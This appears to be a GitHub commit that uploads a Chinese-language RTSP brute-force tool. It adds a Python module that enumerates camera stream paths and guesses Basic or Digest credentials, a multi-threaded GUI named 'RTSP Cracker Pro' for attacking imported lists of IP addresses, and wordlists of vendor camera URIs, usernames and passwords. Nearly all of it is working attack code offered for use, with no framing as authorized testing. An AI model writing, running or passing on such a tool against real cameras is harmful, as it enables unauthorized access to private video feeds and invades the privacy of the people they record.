首次上传

首次上传
This commit is contained in:
returnwrong 2025-02-05 20:53:44 +08:00 committed by GitHub
commit 0a58f0c33c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
7 changed files with 935 additions and 0 deletions

4
README.md Normal file
View File

@ -0,0 +1,4 @@
# 用于rtsp协议爆破的工具
## 把代码下载到本地python3 rtsp_crack_gui.py
### 图形化使用非常简单,后续会做教程视频和文章放在这里
### 都要下载呀,否则运行会异常!!

0
ip.txt Normal file
View File

4
password.txt Normal file
View File

@ -0,0 +1,4 @@
vbnd
asd
admin
password

261
rtsp_crack.py Normal file
View File

@ -0,0 +1,261 @@
import socket
import hashlib
import base64
import os
from typing import List, Optional
from dataclasses import dataclass
@dataclass
class RTSPConfig:
"""RTSP配置类"""
server_ip: str = ""
server_port: int = 554
server_path: str = ""
user_agent: str = "RTSP Client"
buffer_len: int = 1024
username_file: str = ""
password_file: str = ""
uri_file: str = ""
brute_force_method: str = 'Digest'
@property
def base_url(self) -> str:
return f'rtsp://{self.server_ip}:{self.server_port}{self.server_path}'
class RTSPCracker:
"""RTSP破解器类"""
def __init__(self, config: RTSPConfig):
self.config = config
self.socket = None
def connect(self) -> None:
"""建立socket连接"""
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.config.server_ip, self.config.server_port))
except socket.error as e:
print(f"[-] 连接失败: {str(e)}")
raise
def gen_base_auth_header(self, username: str, password: str) -> str:
"""生成Basic认证头"""
auth_64 = base64.b64encode(f"{username}:{password}".encode()).decode()
header = (
f'DESCRIBE {self.config.base_url} RTSP/1.0\r\n'
f'CSeq: 4\r\n'
f'User-Agent: {self.config.user_agent}\r\n'
f'Accept: application/sdp\r\n'
f'Authorization: Basic {auth_64}\r\n\r\n'
)
return header
def gen_digest_header(self) -> str:
"""生成Digest认证请求头"""
return (
f'DESCRIBE {self.config.base_url} RTSP/1.0\r\n'
f'CSeq: 4\r\n'
f'User-Agent: {self.config.user_agent}\r\n'
f'Accept: application/sdp\r\n\r\n'
)
def gen_digest_auth_header(self, username: str, password: str, realm: str, nonce: str) -> str:
"""生成Digest认证头"""
response = self._calculate_digest_response(username, password, realm, nonce)
return (
f'DESCRIBE {self.config.base_url} RTSP/1.0\r\n'
f'CSeq: 5\r\n'
f'Authorization: Digest username="{username}", realm="{realm}", '
f'nonce="{nonce}", uri="{self.config.base_url}", response="{response}"\r\n'
f'User-Agent: {self.config.user_agent}\r\n'
f'Accept: application/sdp\r\n\r\n'
)
def _calculate_digest_response(self, username: str, password: str, realm: str, nonce: str) -> str:
"""计算Digest认证响应值"""
ha1 = hashlib.md5(f"{username}:{realm}:{password}".encode()).hexdigest()
ha2 = hashlib.md5(f"DESCRIBE:{self.config.base_url}".encode()).hexdigest()
return hashlib.md5(f"{ha1}:{nonce}:{ha2}".encode()).hexdigest()
def try_basic_auth(self, username: str, password: str) -> bool:
"""尝试Basic认证"""
header = self.gen_base_auth_header(username, password)
self.socket.send(header.encode())
response = self.socket.recv(self.config.buffer_len).decode()
return '200 OK' in response
def try_digest_auth(self, username: str, password: str) -> bool:
"""尝试Digest认证"""
# 获取realm和nonce
header = self.gen_digest_header()
self.socket.send(header.encode())
response = self.socket.recv(self.config.buffer_len).decode()
# 添加调试输出
print(f"[*] 服务器响应:\n{response}")
try:
# 修改提取逻辑,适应不同的响应格式
if 'WWW-Authenticate: Digest' not in response:
print("[-] 服务器未返回Digest认证信息")
return False
realm = self._extract_value(response, 'realm')
nonce = self._extract_value(response, 'nonce')
print(f"[*] 提取到的认证信息: realm={realm}, nonce={nonce}")
except ValueError as e:
print(f"[-] 无法提取realm或nonce值: {str(e)}")
# 尝试重新连接
self.socket.close()
self.connect()
return False
# 发送认证请求
auth_header = self.gen_digest_auth_header(username, password, realm, nonce)
try:
self.socket.send(auth_header.encode())
response = self.socket.recv(self.config.buffer_len).decode()
# 添加调试输出
print(f"[*] 认证响应:\n{response}")
if '200 OK' in response:
return True
elif 'Unauthorized' in response:
return False
else:
print(f"[*] 未知响应状态")
return False
except Exception as e:
print(f"[-] 发送认证请求时发生错误: {str(e)}")
self.socket.close()
self.connect()
return False
@staticmethod
def _extract_value(response: str, key: str) -> str:
"""从响应中提取值 - 改进的提取方法"""
try:
# 支持多种可能的格式
patterns = [
f'{key}="([^"]*)"', # 标准格式 key="value"
f'{key}=([^,\s]*)', # 无引号格式 key=value
f'{key}=\'([^\']*)\'', # 单引号格式 key='value'
]
for pattern in patterns:
import re
match = re.search(pattern, response)
if match:
return match.group(1)
raise ValueError(f"在响应中未找到{key}的值")
except Exception as e:
raise ValueError(f"提取{key}时发生错误: {str(e)}")
def uri_bruteforce(self) -> Optional[List[str]]:
"""URI路径爆破"""
if not os.path.exists('uri.txt'):
print("[-] 未找到uri.txt文件")
return None
print("[+] 开始URI路径爆破...")
found_uris = []
with open('uri.txt', 'r') as f:
uris = f.read().splitlines()
for uri in uris:
if not uri.strip(): # 跳过空行
continue
uri = f"/{uri.lstrip('/')}"
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as test_socket:
test_socket.connect((self.config.server_ip, self.config.server_port))
header = (
f'DESCRIBE rtsp://{self.config.server_ip}:{self.config.server_port}{uri} RTSP/1.0\r\n'
f'CSeq: 1\r\n'
f'User-Agent: {self.config.user_agent}\r\n'
f'Accept: application/sdp\r\n\r\n'
)
test_socket.send(header.encode())
response = test_socket.recv(self.config.buffer_len).decode()
print(f"[*] 测试URI {uri} 的响应:\n{response}") # 添加调试输出
# 扩展响应检查条件
if ('401 Unauthorized' in response or
'WWW-Authenticate' in response or
'Authorization' in response):
print(f"[+] 发现有效URI: {uri} (需要认证)")
found_uris.append(uri)
# 更新当前使用的URI路径
self.config.server_path = uri
return found_uris # 找到第一个有效URI就返回
except Exception as e:
print(f"[-] 测试URI {uri} 时发生错误: {str(e)}")
continue
if not found_uris:
print("[-] 未找到有效URI将使用默认路径")
return found_uris
def brute_force(self) -> None:
"""执行暴力破解"""
try:
self.connect()
found_uris = self.uri_bruteforce()
if found_uris:
print(f"[+] 使用发现的URI路径: {self.config.server_path}")
else:
print(f"[*] 使用默认路径: {self.config.server_path}")
print(f"[+] 开始使用 {self.config.brute_force_method} 方式进行暴力破解...")
with open(self.config.username_file, "r") as usernames:
for username in usernames:
username = username.strip()
if not username: # 跳过空行
continue
with open(self.config.password_file, "r") as passwords:
for password in passwords:
password = password.strip()
if not password: # 跳过空行
continue
print(f"[*] 尝试: {username}:{password}")
try:
if self.config.brute_force_method == 'Basic':
if self.try_basic_auth(username, password):
print(f"[+] 发现有效凭据 -- {username}:{password}")
return # 找到后立即返回
else:
if self.try_digest_auth(username, password):
print(f"[+] 发现有效凭据 -- {username}:{password}")
return # 找到后立即返回
except Exception as e:
print(f"[-] 尝试 {username}:{password} 时发生错误: {str(e)}")
# 重新建立连接
self.socket.close()
self.connect()
continue
finally:
if self.socket:
self.socket.close()
# 修改main部分只在直接运行时执行
if __name__ == "__main__":
config = RTSPConfig()
config.load_uri_from_file()
cracker = RTSPCracker(config)
cracker.brute_force()

539
rtsp_crack_gui.py Normal file
View File

@ -0,0 +1,539 @@
import tkinter as tk
from tkinter import ttk, filedialog, scrolledtext
import socket
import hashlib
import base64
import os
import sys
from typing import List, Optional
from dataclasses import dataclass
import threading
from datetime import datetime
from rtsp_crack import RTSPConfig, RTSPCracker
import time
class ModernStyle:
"""现代化样式配置"""
# 颜色方案
BG_COLOR = "#1e1e1e" # 深色背景
FG_COLOR = "#00ff9d" # 荧光绿
ACCENT_COLOR = "#2d2d2d" # 强调色
HOVER_COLOR = "#3d3d3d" # 悬停色
ERROR_COLOR = "#ff5555" # 错误色
SUCCESS_COLOR = "#50fa7b" # 成功色
# 字体
MAIN_FONT = ("Cascadia Code", 10) # 主要字体
TITLE_FONT = ("Cascadia Code", 12, "bold") # 标题字体
# 样式配置
BUTTON_STYLE = {
"background": ACCENT_COLOR,
"foreground": FG_COLOR,
"font": MAIN_FONT,
"borderwidth": 0,
"padx": 15,
"pady": 8,
}
ENTRY_STYLE = {
"background": ACCENT_COLOR,
"foreground": FG_COLOR,
"font": MAIN_FONT,
"insertbackground": FG_COLOR, # 光标颜色
}
# 添加新的样式配置
TEXT_STYLE = {
"background": ACCENT_COLOR,
"foreground": FG_COLOR,
"font": MAIN_FONT,
"insertbackground": FG_COLOR,
}
class ConsoleRedirector:
def __init__(self, text_widget):
self.text_widget = text_widget
def write(self, text):
self.text_widget.insert(tk.END, text)
self.text_widget.see(tk.END)
self.text_widget.update()
def flush(self):
pass
class ModernButton(tk.Button):
"""现代化按钮"""
def __init__(self, master, **kwargs):
super().__init__(master, **ModernStyle.BUTTON_STYLE, **kwargs)
self.bind("<Enter>", self._on_enter)
self.bind("<Leave>", self._on_leave)
def _on_enter(self, e):
self.config(background=ModernStyle.HOVER_COLOR)
def _on_leave(self, e):
self.config(background=ModernStyle.ACCENT_COLOR)
class RTSPCrackerGUI:
def __init__(self, root):
self.root = root
self.root.title("RTSP Cracker Pro")
self.root.configure(bg=ModernStyle.BG_COLOR)
self.root.geometry("1000x800") # 增加窗口默认大小
# 创建配置
self.config = RTSPConfig()
# 创建界面
self.create_gui()
# 创建RTSP破解器实例
self.cracker = None
# 标记是否正在运行
self.is_running = False
# 添加线程控制
self.max_threads = 5 # 默认最大线程数
self.active_threads = []
self.thread_lock = threading.Lock()
def create_gui(self):
"""创建现代化图形界面"""
# 主容器
main_container = tk.Frame(self.root, bg=ModernStyle.BG_COLOR)
main_container.pack(padx=20, pady=20, fill=tk.BOTH, expand=True)
# 标题栏框架
title_frame = tk.Frame(main_container, bg=ModernStyle.BG_COLOR)
title_frame.pack(fill=tk.X, pady=(0, 20))
# 创建左侧空白框架(用于平衡)
left_space = tk.Frame(title_frame, bg=ModernStyle.BG_COLOR, width=150)
left_space.pack(side=tk.LEFT, padx=10)
# 作者信息(放在右侧)
authors_label = tk.Label(
title_frame,
text="xxtt & 地图大师",
font=("Cascadia Code", 9, "italic"),
bg=ModernStyle.BG_COLOR,
fg="#00cc99"
)
authors_label.pack(side=tk.RIGHT, padx=10)
# 标题(居中)
title_label = tk.Label(
title_frame,
text="RTSP Cracker Pro",
font=ModernStyle.TITLE_FONT,
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR
)
title_label.pack(expand=True)
# 添加分隔线
separator = tk.Frame(
main_container,
height=2,
bg="#00cc99"
)
separator.pack(fill=tk.X, pady=(0, 20))
# 配置区域
config_frame = self._create_frame(main_container, "配置设置")
config_frame.pack(fill=tk.X, pady=(0, 10))
# IP和端口配置
ip_port_frame = tk.Frame(config_frame, bg=ModernStyle.BG_COLOR)
ip_port_frame.pack(fill=tk.X, padx=10, pady=5)
# IP输入区域改为单行输入框加导入按钮
ip_frame = tk.Frame(ip_port_frame, bg=ModernStyle.BG_COLOR)
ip_frame.pack(fill=tk.X, pady=5)
tk.Label(
ip_frame,
text="目标IP:",
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT
).pack(side=tk.LEFT, padx=5)
self.ip_entry = tk.Entry(
ip_frame,
**ModernStyle.ENTRY_STYLE
)
self.ip_entry.pack(side=tk.LEFT, fill=tk.X, expand=True, padx=5)
self.ip_entry.insert(0, "233.233.233.233")
# 添加导入IP列表按钮
self.import_ip_button = ModernButton(
ip_frame,
text="导入IP列表",
command=self.import_ip_list
)
self.import_ip_button.pack(side=tk.LEFT, padx=5)
# 显示已导入IP数量的标签
self.ip_count_label = tk.Label(
ip_frame,
text="",
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT
)
self.ip_count_label.pack(side=tk.LEFT, padx=5)
# 端口和线程配置
settings_frame = tk.Frame(ip_port_frame, bg=ModernStyle.BG_COLOR)
settings_frame.pack(fill=tk.X, pady=5)
# 端口配置
port_frame = tk.Frame(settings_frame, bg=ModernStyle.BG_COLOR)
port_frame.pack(side=tk.LEFT, padx=5)
tk.Label(
port_frame,
text="端口:",
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT
).pack(side=tk.LEFT, padx=5)
self.port_entry = tk.Entry(
port_frame,
width=10,
**ModernStyle.ENTRY_STYLE
)
self.port_entry.pack(side=tk.LEFT, padx=5)
self.port_entry.insert(0, "554")
# 线程数配置
thread_frame = tk.Frame(settings_frame, bg=ModernStyle.BG_COLOR)
thread_frame.pack(side=tk.LEFT, padx=20)
tk.Label(
thread_frame,
text="最大线程数:",
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT
).pack(side=tk.LEFT, padx=5)
self.thread_spinbox = tk.Spinbox(
thread_frame,
from_=1,
to=20,
width=5,
**ModernStyle.ENTRY_STYLE
)
self.thread_spinbox.pack(side=tk.LEFT, padx=5)
self.thread_spinbox.delete(0, tk.END)
self.thread_spinbox.insert(0, "5")
# 字典文件选择区域
files_frame = self._create_frame(main_container, "字典文件")
files_frame.pack(fill=tk.X, pady=(0, 10))
self.uri_path = self._create_file_selector(files_frame, "URI字典:", 0)
self.uri_path.insert(0, os.path.join(os.getcwd(), "uri.txt")) # 设置默认值
self.username_path = self._create_file_selector(files_frame, "用户名字典:", 1)
self.username_path.insert(0, os.path.join(os.getcwd(), "username.txt")) # 设置默认值
self.password_path = self._create_file_selector(files_frame, "密码字典:", 2)
self.password_path.insert(0, os.path.join(os.getcwd(), "password.txt")) # 设置默认值
# 认证方式选择
auth_frame = self._create_frame(main_container, "认证方式")
auth_frame.pack(fill=tk.X, pady=(0, 10))
self.auth_method = tk.StringVar(value="Digest")
auth_options_frame = tk.Frame(auth_frame, bg=ModernStyle.BG_COLOR)
auth_options_frame.pack(padx=10, pady=5)
for method in ["Digest", "Basic"]:
rb = tk.Radiobutton(auth_options_frame, text=method, variable=self.auth_method,
value=method, bg=ModernStyle.BG_COLOR, fg=ModernStyle.FG_COLOR,
selectcolor=ModernStyle.ACCENT_COLOR, font=ModernStyle.MAIN_FONT)
rb.pack(side=tk.LEFT, padx=10)
# 控制按钮区域
control_frame = tk.Frame(main_container, bg=ModernStyle.BG_COLOR)
control_frame.pack(fill=tk.X, pady=(0, 10))
self.start_button = ModernButton(control_frame, text="开始破解",
command=self.start_crack)
self.start_button.pack(side=tk.LEFT, padx=5)
self.stop_button = ModernButton(control_frame, text="停止",
command=self.stop_crack, state=tk.DISABLED)
self.stop_button.pack(side=tk.LEFT, padx=5)
self.clear_button = ModernButton(control_frame, text="清除输出",
command=self.clear_output)
self.clear_button.pack(side=tk.LEFT, padx=5)
# 输出区域
output_frame = self._create_frame(main_container, "输出日志")
output_frame.pack(fill=tk.BOTH, expand=True)
self.output_text = scrolledtext.ScrolledText(
output_frame,
bg=ModernStyle.ACCENT_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT,
padx=10,
pady=10,
height=25 # 增加文本框高度
)
self.output_text.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
# 重定向标准输出
sys.stdout = ConsoleRedirector(self.output_text)
def _create_frame(self, parent, title):
"""创建带标题的框架"""
frame = tk.LabelFrame(
parent,
text=title,
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT
)
return frame
def _create_labeled_entry(self, parent, label_text, row):
"""创建带标签的输入框"""
tk.Label(
parent,
text=label_text,
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT
).grid(row=row, column=0, padx=5, pady=5)
entry = tk.Entry(
parent,
**ModernStyle.ENTRY_STYLE
)
entry.grid(row=row, column=1, padx=5, pady=5, sticky='ew')
return entry
def _create_file_selector(self, parent, label_text, row):
"""创建文件选择器"""
frame = tk.Frame(parent, bg=ModernStyle.BG_COLOR)
frame.pack(fill=tk.X, padx=10, pady=5)
tk.Label(
frame,
text=label_text,
bg=ModernStyle.BG_COLOR,
fg=ModernStyle.FG_COLOR,
font=ModernStyle.MAIN_FONT
).pack(side=tk.LEFT, padx=5)
entry = tk.Entry(frame, **ModernStyle.ENTRY_STYLE)
entry.pack(side=tk.LEFT, fill=tk.X, expand=True, padx=5)
ModernButton(
frame,
text="浏览",
command=lambda e=entry: self.browse_file(e, f"选择{label_text}")
).pack(side=tk.LEFT, padx=5)
return entry
def browse_file(self, entry_widget, title):
filename = filedialog.askopenfilename(title=title)
if filename:
entry_widget.delete(0, tk.END)
entry_widget.insert(0, filename)
def clear_output(self):
"""清除输出区域并重置IP输入"""
self.output_text.delete(1.0, tk.END)
# 重置IP输入状态
self.ip_entry.configure(state='normal')
self.ip_entry.delete(0, tk.END)
self.ip_entry.insert(0, "233.233.233.233")
self.ip_count_label.configure(text="")
if hasattr(self, 'target_ips'):
self.target_ips = []
def update_config(self):
"""更新配置"""
try:
# 获取IP
if hasattr(self, 'target_ips'):
if not self.target_ips:
raise ValueError("请输入或导入目标IP")
else:
# 如果没有导入列表使用输入框的IP
ip = self.ip_entry.get().strip()
if not ip or "已导入" in ip:
raise ValueError("请输入或导入目标IP")
self.target_ips = [ip]
self.config.server_port = int(self.port_entry.get())
self.max_threads = int(self.thread_spinbox.get())
# 获取文件路径
uri_path = self.uri_path.get() or os.path.join(os.getcwd(), "uri.txt")
username_path = self.username_path.get() or os.path.join(os.getcwd(), "username.txt")
password_path = self.password_path.get() or os.path.join(os.getcwd(), "password.txt")
self.config.uri_file = uri_path
self.config.username_file = username_path
self.config.password_file = password_path
self.config.brute_force_method = self.auth_method.get()
except ValueError as e:
print(f"[-] 配置更新错误: {str(e)}")
raise
def crack_single_target(self, ip):
"""对单个目标进行破解"""
try:
config = RTSPConfig()
config.server_ip = ip
config.server_port = self.config.server_port
config.uri_file = self.config.uri_file
config.username_file = self.config.username_file
config.password_file = self.config.password_file
config.brute_force_method = self.config.brute_force_method
cracker = RTSPCracker(config)
print(f"[*] 开始破解目标: {ip}")
cracker.brute_force()
print(f"[*] 完成目标: {ip}")
except Exception as e:
print(f"[-] 破解 {ip} 时发生错误: {str(e)}")
finally:
with self.thread_lock:
self.active_threads.remove(threading.current_thread())
def start_crack(self):
"""开始破解"""
if self.is_running:
return
try:
self.update_config()
# 验证IP列表
if not self.target_ips: # 改为检查target_ips而不是server_ip
print("[-] 请输入至少一个目标IP地址")
return
# 验证文件是否存在
required_files = {
"URI字典": self.config.uri_file,
"用户名字典": self.config.username_file,
"密码字典": self.config.password_file
}
missing_files = []
for name, path in required_files.items():
if not os.path.exists(path):
missing_files.append(f"{name}({path})")
if missing_files:
print(f"[-] 以下文件不存在:\n" + "\n".join(missing_files))
return
self.is_running = True
self.start_button.configure(state=tk.DISABLED)
self.stop_button.configure(state=tk.NORMAL)
# 在新线程中运行破解
self.crack_thread = threading.Thread(target=self.run_crack)
self.crack_thread.start()
except Exception as e:
print(f"[-] 启动错误: {str(e)}")
self.is_running = False
def stop_crack(self):
"""停止破解"""
self.is_running = False
print("[*] 正在停止所有任务...")
# 等待所有线程完成
for thread in self.active_threads:
thread.join()
print("[+] 所有任务已停止")
self.start_button.configure(state=tk.NORMAL)
self.stop_button.configure(state=tk.DISABLED)
def run_crack(self):
"""运行破解过程"""
try:
for ip in self.target_ips:
if not self.is_running:
break
# 等待线程数量低于最大值
while len(self.active_threads) >= self.max_threads:
if not self.is_running:
return
# 清理已完成的线程
self.active_threads = [t for t in self.active_threads if t.is_alive()]
time.sleep(0.1)
# 创建新线程
thread = threading.Thread(target=self.crack_single_target, args=(ip,))
self.active_threads.append(thread)
thread.start()
# 等待所有线程完成
for thread in self.active_threads:
thread.join()
except Exception as e:
print(f"[-] 错误: {str(e)}")
finally:
self.is_running = False
self.start_button.configure(state=tk.NORMAL)
self.stop_button.configure(state=tk.DISABLED)
def import_ip_list(self):
"""导入IP列表"""
filename = filedialog.askopenfilename(
title="选择IP列表文件",
filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")]
)
if filename:
try:
with open(filename, 'r') as f:
ip_list = [ip.strip() for ip in f.readlines() if ip.strip()]
if not ip_list:
print("[-] IP列表文件为空")
return
self.target_ips = ip_list
self.ip_entry.delete(0, tk.END)
self.ip_entry.insert(0, f"已导入 {len(ip_list)} 个目标")
self.ip_entry.configure(state='readonly')
# 更新IP数量显示
self.ip_count_label.configure(
text=f"[共 {len(ip_list)} 个目标]",
fg=ModernStyle.SUCCESS_COLOR
)
print(f"[+] 成功导入 {len(ip_list)} 个目标IP")
except Exception as e:
print(f"[-] 导入IP列表失败: {str(e)}")
def main():
root = tk.Tk()
app = RTSPCrackerGUI(root)
root.mainloop()
if __name__ == "__main__":
main()

121
uri.txt Normal file
View File

@ -0,0 +1,121 @@
/live
/live.sdp
/livestream
/livestream.sdp
/stream
/stream1
/stream2
/stream3
/streaming
/streaming/live
/video
/video.sdp
/video1
/video2
/video.mp4
/video_feed
/video_sub
/0
/1
/2
/3
/4
/cam
/cam1
/cam2
/cam3
/cam/live
/cam/realmonitor
/cam/realmonitor?channel=1&subtype=0
/cam/realmonitor?channel=1&subtype=1
/cam/realmonitor?channel=2&subtype=0
/cam/realmonitor?channel=2&subtype=1
/Streaming/Channels/101
/Streaming/Channels/102
/Streaming/Channels/103
/Streaming/Channels/201
/Streaming/Channels/202
/Streaming/Channels/203
/Streaming/Channels/301
/Streaming/Channels/302
/Streaming/Channels/1
/Streaming/Channels/2
/Streaming/Channels/3
/Streaming/channels
/Streaming/1
/Streaming/2
/Streaming/3
/Streaming/4
/h264
/h264/ch1
/h264/ch1/main
/h264/ch1/main/av_stream
/h264/ch1/sub
/h264/ch1/sub/av_stream
/h264/ch2/main
/h264/ch2/main/av_stream
/h264/ch2/sub
/h264/ch2/sub/av_stream
/h264/video
/h265
/h265/ch1
/h265/ch1/main
/h265/ch1/sub
/mjpeg
/mjpeg/1
/mjpeg/stream
/mjpeg/video
/mp4
/mp4/live
/av_stream
/onvif
/onvif1
/onvif2
/onvif/profile1
/onvif/profile2
/axis-media/media.amp
/axis-cgi/mjpg/video.cgi
/axis-cgi/jpg/image.cgi
/adminad
/adminasd
/adminadc
/adminz/xc
/123
/adjctest/123
/teskvk1/
/test12300
/Streaming/tracks/90/
/Streaming/tracks/91/
/Streaming/tracks/92/
/Streaming/tracks/93/
/Streaming/tracks/94/
/Streaming/tracks/95/
/Streaming/tracks/96/
/Streaming/tracks/97/
/Streaming/tracks/98/
/Streaming/tracks/99/
/Streaming/tracks/100/
/Streaming/tracks/101/
/Streaming/tracks/102/
/Streaming/tracks/103/
/live.sdp
/stream1
/media/video1
/h264
/cam1/h264
/mpeg4
/h264/ch1/main/av_stream
/h264/ch1/sub/av_stream
/cam/realmonitor?channel=1&subtype=0
/cam/realmonitor?channel=1&subtype=1
/live
/live/ch00_0
/11
/12
/user=admin&password=admin&channel=1&stream=0.sdp
/videoMain
/videoSub
/live0
/live1
/test
/mystream

6
username.txt Normal file
View File

@ -0,0 +1,6 @@
damin
asdzxc
vvmvmv
asdas
sdddddd
admin